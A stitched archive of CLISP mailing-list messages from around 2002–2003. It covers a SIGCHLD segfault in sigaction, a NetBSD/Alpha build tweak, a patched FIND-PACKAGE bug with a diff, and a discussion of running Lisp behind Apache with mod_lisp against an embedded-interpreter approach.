"2.30 (released 2002-09-15) (built 3247263145) (memory 3247263385)"
[13]> (linux:sigaction-old linux:SIGINT nil)
0 ;
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x0807F270>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x405BC7F8>)
[14]> (linux:sigaction-old linux:SIGCHLD nil)
Segmentation fault


Note that SIGCHLD is the only signal provoking this segfault:

[pascal@thalassa clisp]$  i=1 ; while [ $i -le 31 ] ; do echo signal $i ; clisp -norc -q -K full -x '(linux:sigaction-old '$i' nil)'; echo $? ; i=$(( $i + 1 )) ; done
signal 1
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 2
0 ;
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x0807F270>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x405BC7F8>)
0
signal 3
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 4
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 5
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 6
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 7
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 8
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 9
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| NIL)
0
signal 10
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 11
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 12
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 13
0 ;
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x0807F1D0>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(4096)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x405BC7F8>)
0
signal 14
0 ;
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x0807F2B0>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(8192)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x405BC7F8>)
0
signal 15
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 16
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x0804CC38>)
0
signal 17
Segmentation fault
139
signal 18
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x0804CC38>)
0
signal 19
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| NIL)
0
signal 20
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 21
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 22
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 23
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x0804CC38>)
0
signal 24
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 25
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 26
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0
signal 27
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x0804CC38>)
0
signal 28
0 ;
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x0807F370>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(134217728)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x405BC7F8>)
0
signal 29
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E97F8>)
0
signal 30
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x0804CC38>)
0
signal 31
0 ;
#S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #())
   :|sa_flags| 0 :|sa_restorer| #<FOREIGN-FUNCTION #x400E87F8>)
0



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Hi,

By changing src/lispbibl.d:2405 to 

#if defined(DECALPHA) && (defined(UNIX_OSF) ||
defined(UNIX_LINUX) || defined(UNIX_NETBSD))

I managed to make a build of CLISP 2.29. I didn't
encounter any failures running "make test" and "make
testsuite". However, I once saw in the NetBSD's
port-alpha mailing list that CLISP may have LP64
problems. If this is the case, have they been fixed?

Thanks,

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Hello. I was running some code in CLISP that I had previously
developed under another ACL and ran into this behavior which I think
is a bug: FIND-PACKAGE complains if its argument isn't a string.
However the CLHS says that FIND-PACKAGE takes as an argument a "string
designator or a package object". And since FIND-PACKAGE returns "a
package-object" it seems that this simple test case should return the
CL-USER package:

  (find-package (find-package "CL-USER"))

Am I correct that this is a bug? If so, here's a patch that adds a
test case and fixes it. I tried to follow the local conventions. I
wasn't sure what "UP" meant but I assumed that's German for something.
Also the test I added doesn't, strictly speaking, belong in that test
suite since it puports to be a CLtL suite and CLtL and the CLHS differ
on the type of the argument to FIND-PACKAGE. Anyway, the patch should
be applicable with 'patch -Np1' from the clisp-2.30 directory you get
when you unpack the source tarball.

-Peter

diff -Naur clisp-2.30/src/ChangeLog clisp-2.30-patched/src/ChangeLog
--- clisp-2.30/src/ChangeLog	Sat Sep 14 01:12:30 2002
+++ clisp-2.30-patched/src/ChangeLog	Fri Dec 27 09:06:48 2002
@@ -1,3 +1,8 @@
+2002-12-27  Peter Seibel  <peter@javamonkey.com>
+
+	* Make FIND-PACKAGE accept package argument, per CLHS. (Differs
+	from CLtL.)
+
 2002-09-15  Sam Steingold  <sds@gnu.org>
 
 	* version.h: 2.30 is released
diff -Naur clisp-2.30/src/package.d clisp-2.30-patched/src/package.d
--- clisp-2.30/src/package.d	Thu Sep 12 01:14:10 2002
+++ clisp-2.30-patched/src/package.d	Fri Dec 27 08:40:11 2002
@@ -1857,6 +1857,30 @@
          GETTEXT("~: argument should be a package or a package name, not ~"));
 }
 
+# UP: Finds a package by name (string or symbol) or a package object itself.
+# Returns the named package (or the package itself if obj is a package
+# already) or NIL. Errors if obj is not a string, symbol, or package.
+# > obj: argument
+# > subr_self: caller (a SUBR)
+# < result: argument turned into a package
+local object find_package_by_designator (object obj) {
+  if (packagep(obj)) { # package -> mostly OK
+    return !pack_deletedp(obj) ? obj : NIL;
+  }
+  if (stringp(obj)) {
+  string: # string -> search package with name obj:
+    return find_package(obj);
+  }
+  if (symbolp(obj)) { # symbol ->
+    obj = Symbol_name(obj); goto string; # use print name
+  }
+  pushSTACK(obj); # TYPE-ERROR slot DATUM
+  pushSTACK(O(type_packname)); # TYPE-ERROR slot EXPECTED-TYPE
+  pushSTACK(obj); pushSTACK(TheSubr(subr_self)->name);
+  fehler(type_error,
+         GETTEXT("~: argument should be a package or a package name, not ~"));
+}
+
 LISPFUNN(make_symbol,1) { # (MAKE-SYMBOL printname), CLTL p. 168
   var object arg = popSTACK();
   if (!stringp(arg)) fehler_string(arg);
@@ -1878,9 +1902,8 @@
   fehler(type_error,GETTEXT("~: argument ~ should be a string or a symbol"));
 }
 
-LISPFUNN(find_package,1) { # (FIND-PACKAGE name), CLTL p. 183
-  var object name = test_stringsym_arg(popSTACK()); # argument as string
-  VALUES1(find_package(name)); /* search package */
+LISPFUNN(find_package,1) { # (FIND-PACKAGE name), CLHS s.v.
+  VALUES1(find_package_by_designator(popSTACK()));
 }
 
 LISPFUNN(pfind_package,1) { # (SYSTEM::%FIND-PACKAGE name)
diff -Naur clisp-2.30/tests/pack11.tst clisp-2.30-patched/tests/pack11.tst
--- clisp-2.30/tests/pack11.tst	Tue Jul 16 01:11:19 2002
+++ clisp-2.30-patched/tests/pack11.tst	Fri Dec 27 08:52:40 2002
@@ -35,6 +35,8 @@
 T
 (and (find-package "SYS") t)
 T
+(and (find-package (find-package "SYSTEM")) t)
+T
 
 ;nicknames
 (find "SYS" (package-nicknames 'sys) :test #'string=)

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I'm looking for an Apache module to embed a CLISP interpreter into my
Apache server, much the same way perl is embedded via mod_perl.  I
want this so as to speed up my lisp-based dynamic database driven Web
server.  Does such a thing exist?  If not I can write one.  Are there
substantive examples of embedding a CLISP interpreter in a "C" program
and calling Lisp code from the "C" program?

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* "John K. Hinsdale" <hin@alma.com>:

> I'm looking for an Apache module to embed a CLISP interpreter into my
> Apache server, much the same way perl is embedded via mod_perl.

I know this isn't quite what you're asking for, but there is a plugin
called mod_lisp that lets Apache communicate with a running Lisp (or
whatever, really), thus avoiding the need to fork a new clisp for
every request, as you would with CGI-scripts.  (Oh, and also with the
added bonus that you can keep state in the running Lisp image.)

I've done some simple stuff with it, it's quite fast.  2-300 requests
per second on modest hardware.

See the mod_lisp-link on
http://www.fractalconcept.com/

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Check out mod_lisp by Marc Battyani. It can be found on his
fractalconcept.com web site:
http://www.fractalconcept.com/asp/sdataQISq8xrEceAXDM==/sdataQuvY9x3g$ec
X

I have not used it myself, but I've heard very good things about it.

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I'm looking for an Apache module to embed a CLISP interpreter into my
Apache server, much the same way perl is embedded via mod_perl.  I want
this so as to speed up my lisp-based dynamic database driven Web server.
Does such a thing exist?  If not I can write one.  Are there substantive
examples of embedding a CLISP interpreter in a "C" program and calling
Lisp code from the "C" program?

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 > I know this isn't quite what you're asking for, but there is a plugin
 > called mod_lisp that lets Apache communicate with a running Lisp (or
 > whatever, really),

Yes, that is what I want, but I was more looking for an interpreter
actually embedded in the Apache server itself (ala mod_perl) ...
fewer moving parts.  For example, when I bounce the Apache server, the
Lisp stuff gets reloaded as well.  w/ a separate pool of processes for
the Lisp servers I have to deal w/ all that as well.

 > thus avoiding the need to fork a new clisp for
 > every request, as you would with CGI-scripts.  (Oh, and also with the
 > added bonus that you can keep state in the running Lisp image.)

right, I want to re-use my database connections (and avoid recreating
lisp garbage etc.)

 > I've done some simple stuff with it, it's quite fast.  2-300 requests

OK I'll give this a try and if it doesn't work for me, maybe I will
write a truly embedded CLISP apache module

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"John K. Hinsdale" <hin@alma.com> writes:

>  > I know this isn't quite what you're asking for, but there is a
>  > plugin called mod_lisp that lets Apache communicate with a
>  > running Lisp (or whatever, really),
> 
> Yes, that is what I want, but I was more looking for an interpreter
> actually embedded in the Apache server itself (ala mod_perl) ...
> fewer moving parts.  For example, when I bounce the Apache server,
> the Lisp stuff gets reloaded as well.  w/ a separate pool of
> processes for the Lisp servers I have to deal w/ all that as well.

With mod_lisp you only have one Lisp image that you don't have to shut
down an restart when you bounce Apache. You can have it run as long as
you wish and (if it's on a remote server) re-connect to it with
something like Dan Barlow's detachtty.

>  > thus avoiding the need to fork a new clisp for every request, as
>  > you would with CGI-scripts.  (Oh, and also with the added bonus
>  > that you can keep state in the running Lisp image.)
> 
> right, I want to re-use my database connections (and avoid
> recreating lisp garbage etc.)

You should really try Marc's mod_lisp. I've just rewritten an
application that was originally done in PHP with CMUCL and mod_lisp
and I'm extremely happy with the result. The old app had to read
thousands of database rows for _each_ page and compute some values out
of them. Granted, PHP has persistent database connections and some
session handling but that didn't help. The fact was that only maybe
one out of 100 page views really altered the database content but you
nevertheless had to re-compute each time.

With mod_lisp the whole database is read once on startup and then kept
in memory (in special variables). If a page alters the database
content the new information is sent back to the database but that's
about all with respect to database connections.

I'm an old mod_perl hacker but there are things you simply can't do
with interpreters embedded in Apache - I'll use mod_lisp (or a
complete Lisp web server like portableaserve) for all new projects.

(Not to mention that you get a _real_ programming language,
incremental development, a compiler, yada yada yada. You already know
that.)

>  > I've done some simple stuff with it, it's quite fast.  2-300
>  > requests
> 
> OK I'll give this a try and if it doesn't work for me, maybe I will
> write a truly embedded CLISP apache module

I think that "truly embedding" a Common Lisp into a C program is not a
simple task. Maybe this will be easier with ECL than with CLISP or
CMUCL.

Cheers,
Edi.


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 > You should really try Marc's mod_lisp. I've just rewritten an
 > application that was originally done in PHP with CMUCL and mod_lisp
 > and I'm extremely happy with the result.

Alrighty then!  I'll let you know how it works out for me.

Best wishes to all for peace, prosperity and happy Lisp hacking in the
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 > With mod_lisp you only have one Lisp image that you don't have to shut
 > down an restart when you bounce Apache. You can have it run as long as

Wondering: how are concurrent requests handled w/ this setup then?  I
don't see any code anywhere that forks off a separate concurrent
thread of activity (e.g., a new Unix process) while the "Lisp
application server" goes back to listening for the next request.
Rather it appears that all the work for any individual Web request
must finish before it will accept another connection.  In other words,
only one Lisp request is being processed at a time.

Am I missing something?  What I need is to pool, say, 10 live database
connections to handle peak activity.  W/ a mod_perl type setup those
connections would exists as perl state in each of the ten Apache
processes that had the perl language embedded in them.

If this is not an appropriate thread for the CLISP list, let me know
and I'll take it up w/ the mod_lisp devleoper(s) - but it doesn't have
a mailing list.


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"John K. Hinsdale" <hin@alma.com> writes:

>  > With mod_lisp you only have one Lisp image that you don't have to
>  > shut down an restart when you bounce Apache. You can have it run
>  > as long as
> 
> Wondering: how are concurrent requests handled w/ this setup then?
> I don't see any code anywhere that forks off a separate concurrent
> thread of activity (e.g., a new Unix process) while the "Lisp
> application server" goes back to listening for the next request.
> Rather it appears that all the work for any individual Web request
> must finish before it will accept another connection.  In other
> words, only one Lisp request is being processed at a time.

With CMUCL, the multi-threading code is in this function (taken from
the example on the mod_lisp webpage) - note the 'MP' functions. I
haven't used mod_lisp with CLISP yet so I don't no any details for
this implementation.

  (defun make-apache-listener (port)
    (let ((socket (ext:create-inet-listener port)))
      (unwind-protect
           (loop
            (mp:process-wait-until-fd-usable socket :input)
            (multiple-value-bind (new-fd remote-host)
                (ext:accept-tcp-connection socket)
              (let ((stream (sys:make-fd-stream new-fd :input t :output t)))
                (mp:make-process #'(lambda () (apache-listen stream))))))
        (unix:unix-close socket))))

Here are some benchmark results done on my laptop - also with the
mod_lisp example code and CMUCL. This is admittedly a very simple,
static example but you'll see that mod_lisp handles 500 request with a
concurrency level of 10 without any problems - in less than 0.3
seconds.

  edi@bird:~ > /usr/local/apache/bin/ab -n 500 -c 10 'http://localhost/lisp'
  This is ApacheBench, Version 1.3d <$Revision: 1.65 $> apache-1.3
  Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
  Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/

  Benchmarking localhost (be patient)
  Completed 100 requests
  Completed 200 requests
  Completed 300 requests
  Completed 400 requests
  Finished 500 requests
  Server Software:        Apache/1.3.26
  Server Hostname:        localhost
  Server Port:            80

  Document Path:          /lisp
  Document Length:        196 bytes

  Concurrency Level:      10
  Time taken for tests:   0.294 seconds
  Complete requests:      500
  Failed requests:        0
  Broken pipe errors:     0
  Total transferred:      206412 bytes
  HTML transferred:       98196 bytes
  Requests per second:    1700.68 [#/sec] (mean)
  Time per request:       5.88 [ms] (mean)
  Time per request:       0.59 [ms] (mean, across all concurrent requests)
  Transfer rate:          702.08 [Kbytes/sec] received

  Connnection Times (ms)
                min  mean[+/-sd] median   max
  Connect:        0     0    0.2      0     3
  Processing:     2     5    2.9      5    16
  Waiting:        1     4    2.9      5    16
  Total:          2     5    2.9      5    16

  Percentage of the requests served within a certain time (ms)
    50%      5
    66%      6
    75%      6
    80%      6
    90%      9
    95%     13
    98%     14
    99%     16
   100%     16 (last request)

> Am I missing something?  What I need is to pool, say, 10 live
> database connections to handle peak activity.  W/ a mod_perl type
> setup those connections would exists as perl state in each of the
> ten Apache processes that had the perl language embedded in them.

The db connection pool should be no big deal although you'll probably
have to implement it yourself. I think the main problem is that many
(most?) CL implementations will block during a db call (because it's
FFI stuff). [Please correct me if I'm wrong.]

This can't be resolved with threading and forking isn't very Lisp-y...

> If this is not an appropriate thread for the CLISP list, let me know
> and I'll take it up w/ the mod_lisp devleoper(s) - but it doesn't
> have a mailing list.

Marc is usually very helpful - you can contact him directly. There's
also the lispweb mailing list.

Cheers,
Edi.


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 > With CMUCL, the multi-threading code is in this function (taken from
 > the example on the mod_lisp webpage) - note the 'MP' functions. I

yah, but I want to use CLISP :)

Also, even in CMUCL it looks like it creates a new process/thread (and
presumably has to init a new DB connection) w/ each request - but
that's the overhead I'm trying to avoid.  What I need is a pool of
processes each already "primed" w/ an active DB connection and
possibly some cached data.  If I embed my language interpreter into
Apache, I get all this for "free" via the process pooling that's
already being done by Apache.  This is what I've been enjoying w/
mod_perl for some years.

It's not obvious to me yet that it won't be easier just to embed CLISP
into Apache w/ a module of its own (e.g., "mod_clisp")

 > I think the main problem is that many (most?) CL implementations will
 > block during a db call (because it's FFI stuff). [Please correct me if
 > I'm wrong.]

yes, they'll block as they'll have to wait on network I/O as w/ any
type of client-side software.  Some of my Web request will hit an
Oracle server w/ a sequence of queries that can take 30 secs or more
so the concurrency is a big issue for me.

 > Marc is usually very helpful - you can contact him directly. There's
 > also the lispweb mailing list.

i'll run my situation by marc and let you know how it works out.


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"John K. Hinsdale" <hin@alma.com> writes:

>  > With CMUCL, the multi-threading code is in this function (taken
>  > from the example on the mod_lisp webpage) - note the 'MP'
>  > functions. I
> 
> yah, but I want to use CLISP :)

OK, that's your choice which I won't comment on - especially not on
this list... :)

> Also, even in CMUCL it looks like it creates a new process/thread
> (and presumably has to init a new DB connection) w/ each request -
> but that's the overhead I'm trying to avoid.

No, it doesn't. With mod_lisp's "Keep-socket" feature your thread will
stay alive and keep serving more requests until you willfully shut it
down - pretty similar to mod_perl.

> What I need is a pool of processes each already "primed" w/ an
> active DB connection and possibly some cached data.  If I embed my
> language interpreter into Apache, I get all this for "free" via the
> process pooling that's already being done by Apache.  This is what
> I've been enjoying w/ mod_perl for some years.

As I said, I think this can be done with mod_lisp with some manual
work except for the fact that you have 'threads' which are maintained
by your CL implementation as opposed to processes maintained by your
OS as in mod_perl. (As I detailed in previous mails this also has a
lot of advantages.)

> It's not obvious to me yet that it won't be easier just to embed
> CLISP into Apache w/ a module of its own (e.g., "mod_clisp")

Yes, if that's feasible...

>  > I think the main problem is that many (most?) CL implementations
>  > will block during a db call (because it's FFI stuff). [Please
>  > correct me if I'm wrong.]
> 
> yes, they'll block as they'll have to wait on network I/O as w/ any
> type of client-side software.  Some of my Web request will hit an
> Oracle server w/ a sequence of queries that can take 30 secs or more
> so the concurrency is a big issue for me.
> 
>  > Marc is usually very helpful - you can contact him
>  > directly. There's also the lispweb mailing list.
> 
> i'll run my situation by marc and let you know how it works out.

OK, good luck.

[Please note that this and subsequent messages might be spoiled by too
much Champagne so don't take them too serious...]

Cheers,
Edi.


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* "John K. Hinsdale" <hin@alma.com>:

[...]
> OK I'll give this a try and if it doesn't work for me, maybe I will
> write a truly embedded CLISP apache module

What's nice about mod_lisp is that you can use any other Lisp, in case
CLISP doesn't do what you want.  (Or an entirely different language,
for that matter.)  Oh, and check out CLISP's #'socket:socket-status if
you haven't already.

(If someone has already mentioned this, I missed it.)

-- 
Johannes Grødem <OpenPGP: 5055654C>




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   >> Also, even in CMUCL it looks like it creates a new process/thread
   >> (and presumably has to init a new DB connection) w/ each request -

 > No, it doesn't. With mod_lisp's "Keep-socket" feature your thread will

Edi - my mistake; you are absolutely right.  I was confused as to
where the pooling was happening (it happens in Apache which has a
mod_lisp "client" in each of its processes, each of which has a
kept-alive connect to a thread inside the Lisp server).

Great.

So, now my next question:

Has anyone done any kind of multi-threaded TCP server in CLISP?  i.e.,
the traditional listen/accept/fork loop kind of thing?  Then I can
just "port" the CMUCL example and be on my way.  I'm also waiting to
hear back from Marc Battyani.

I looked up "CL-HTTPD" but CLISP is not listed as one of the CL
implementations it is known to run on.

Thanks for all the help so far.



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"John K. Hinsdale" <hin@alma.com> writes:

>    >> Also, even in CMUCL it looks like it creates a new
>    >> process/thread (and presumably has to init a new DB
>    >> connection) w/ each request -
> 
>  > No, it doesn't. With mod_lisp's "Keep-socket" feature your thread
>  > will
> 
> Edi - my mistake; you are absolutely right.  I was confused as to
> where the pooling was happening (it happens in Apache which has a
> mod_lisp "client" in each of its processes, each of which has a
> kept-alive connect to a thread inside the Lisp server).
> 
> Great.
> 
> So, now my next question:
> 
> Has anyone done any kind of multi-threaded TCP server in CLISP?
> i.e., the traditional listen/accept/fork loop kind of thing?  Then I
> can just "port" the CMUCL example and be on my way.  I'm also
> waiting to hear back from Marc Battyani.

The mod_lisp website has example code for CLISP by Rachel Richard and
Nils Kassube. Isn't that what you want?

  <http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp.gz>

Edi.


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 > The mod_lisp website has example code for CLISP by Rachel Richard and
 > Nils Kassube. Isn't that what you want?

no, if you look at that code, it ignores the case where you want
concurrency.



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"John K. Hinsdale" <hin@alma.com> writes:

>  > The mod_lisp website has example code for CLISP by Rachel Richard
>  > and Nils Kassube. Isn't that what you want?
> 
> no, if you look at that code, it ignores the case where you want
> concurrency.

I see. Sorry, I didn't look at the code, I'm not a CLISP expert.

Cheers,
Edi.


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On Wed, Jan 01, 2003 at 12:09:15PM -0500, John K. Hinsdale wrote:
>  > The mod_lisp website has example code for CLISP by Rachel Richard and
>  > Nils Kassube. Isn't that what you want?
> 
> no, if you look at that code, it ignores the case where you want
> concurrency.

Well, look at more than the CLISP example:

mod-lisp.lisp (LispWorks, it seems):

(defun make-apache-instream (handle)
  (mp:process-run-function (format nil "apache socket ~d" handle) '()
                            'apache-listen
                            (make-instance 'comm:socket-stream :socket handle
					  :direction :io
                                          :element-type 'base-char)))


modlisp-cmucl.lisp:

        [...]
	    (let ((stream (sys:make-fd-stream new-fd :input t :output t)))
	      (mp:make-process #'(lambda () (apache-listen stream))))))
        [...]


modlisp-clisp.lisp:

    A bit more stuff to quote, so I won't. Invokes 'apache-listen
    eventually.


And, finally, clisp-2.30/src/threads.lisp:

;; multithreading for CLISP

(defpackage "THREADS"
  (:nicknames "MT")
  (:use "COMMON-LISP" "EXT")
  (:export "MAKE-THREAD" "THREAD-WAIT" "THREAD-WAIT-WITH-TIMEOUT"
           "WITHOUT-INTERRUPTS" "THREAD-YIELD" "THREAD-KILL"
           "THREAD-INTERRUPT" "THREAD-RESTART" "THREADP" "THREAD-NAME"
           "THREAD-ACTIVE-P" "THREAD-STATE" "CURRENT-THREAD" "LIST-THREADS"
           "MAKE-LOCK" "THREAD-LOCK" "THREAD-UNLOCK" "WITH-LOCK"
           "Y-OR-N-P-TIMEOUT" "WITH-TIMEOUT"))


So perhaps you just need to do something like:

    blah blah 
    (mt:make-thread blah-blah 'apache-listen blah-blah) 
    blah blah


Let us know how it goes. Cheers.

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> * In message <20021225204439.47732.qmail@web20416.mail.yahoo.com>
> * On the subject of "[clisp-list] CLISP 2.29 for NetBSD/Alpha"
> * Sent on Wed, 25 Dec 2002 12:44:39 -0800 (PST)
> * Honorable Indrayana Rustandi <i_rustandi@yahoo.com> writes:
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> By changing src/lispbibl.d:2405 to 
> 
> #if defined(DECALPHA) && (defined(UNIX_OSF) ||
> defined(UNIX_LINUX) || defined(UNIX_NETBSD))

what are the
        Code address range
        Malloc address range
        Shared libraries address range
        Stack address range

??

thanks.

> I managed to make a build of CLISP 2.29. I didn't encounter any
> failures running "make test" and "make testsuite". However, I once saw
> in the NetBSD's port-alpha mailing list that CLISP may have LP64
> problems. If this is the case, have they been fixed?

I am not aware of any such problems.
please try the CVS head CLISP.

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> * In message <Pine.LNX.4.21.0212270926590.19834-100000@crankshaft.bitmechanic.com>
> * On the subject of "[clisp-list] find-package bug?"
> * Sent on Fri, 27 Dec 2002 09:28:33 -0800 (PST)
> * Honorable Peter Seibel <peter@javamonkey.com> writes:
>
> Hello. I was running some code in CLISP that I had previously
> developed under another ACL and ran into this behavior which I think
> is a bug: FIND-PACKAGE complains if its argument isn't a string.

this bug has been fixed on 2002-11-01.

please try CVS head.

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 > Well, look at more than the CLISP example:
 > 
 > ... And, finally, clisp-2.30/src/threads.lisp:
 > ;; multithreading for CLISP
 >     (mt:make-thread blah-blah 'apache-listen blah-blah) 

thanks, this looks like what I would want ...


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On Thu, Jan 02, 2003 at 10:12:00AM -0500, John K. Hinsdale wrote:
>  > ;; multithreading for CLISP
>  >     (mt:make-thread blah-blah 'apache-listen blah-blah) 
> 
> thanks, this looks like what I would want ...

I just tried building 2.30 with Posix threading, and make craps out:

ngps@applause:/usr/local/src/lisp/clisp-2.30/src$ make
test -d bindings || mkdir -p bindings
./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"

[ snipped banner ]

;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...
;; Loaded file defmacro.lisp
;; Loading file macros1.lisp ...
;; Loaded file macros1.lisp
;; Loading file macros2.lisp ...
;; Loaded file macros2.lisp
;; Loading file defs1.lisp ...
;; Loaded file defs1.lisp
;; Loading file places.lisp ...
*** - Program stack overflow. RESET


Without threading, "make check" passes.

Googling around, it looks like multithreading in CLISP is unfinished
business.


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 > I just tried building 2.30 with Posix threading, and make craps out:

 > Googling around, it looks like multithreading in CLISP is unfinished
 > business.

i did some more thought, and it turns out my Oracle library is not
thread safe (uses global conneciton cache), also w/ the mod_lisp
approach I can't use it as a drop-in replacement for my scripts that
write the response to the STDOUT stream as per CGI.  W/ CLISp inside
apache, each request has its own copy of CLISp (which is a downside,
too - it eats a heap of memory per process) But for those reasons I
may just go ahead and try the Apache module.



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> also w/ the mod_lisp approach I can't use it as a drop-in
> replacement for my scripts that write the response to the STDOUT
> stream as per CGI.

  (let ((html (with-output-to-string (*standard-output*)
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Wouldn't that work?

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Code address range: 0x0000000120000000
Malloc address range: 0x0000000120000000
Shared library address range: 0x0000000160000000
Stack address range: 0x00000001FF000000

So, I assume this build of CLISP is usable, right?

Indra

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> <20021225204439.47732.qmail@web20416.mail.yahoo.com>
> > * On the subject of "[clisp-list] CLISP 2.29 for
> NetBSD/Alpha"
> > * Sent on Wed, 25 Dec 2002 12:44:39 -0800 (PST)
> > * Honorable Indrayana Rustandi
> <i_rustandi@yahoo.com> writes:
> >
> > By changing src/lispbibl.d:2405 to 
> > 
> > #if defined(DECALPHA) && (defined(UNIX_OSF) ||
> > defined(UNIX_LINUX) || defined(UNIX_NETBSD))
> 
> what are the
>         Code address range
>         Malloc address range
>         Shared libraries address range
>         Stack address range
> 
> ??
> 
> thanks.
> 
> > I managed to make a build of CLISP 2.29. I didn't
> encounter any
> > failures running "make test" and "make testsuite".
> However, I once saw
> > in the NetBSD's port-alpha mailing list that CLISP
> may have LP64
> > problems. If this is the case, have they been
> fixed?
> 
> I am not aware of any such problems.
> please try the CVS head CLISP.
> 
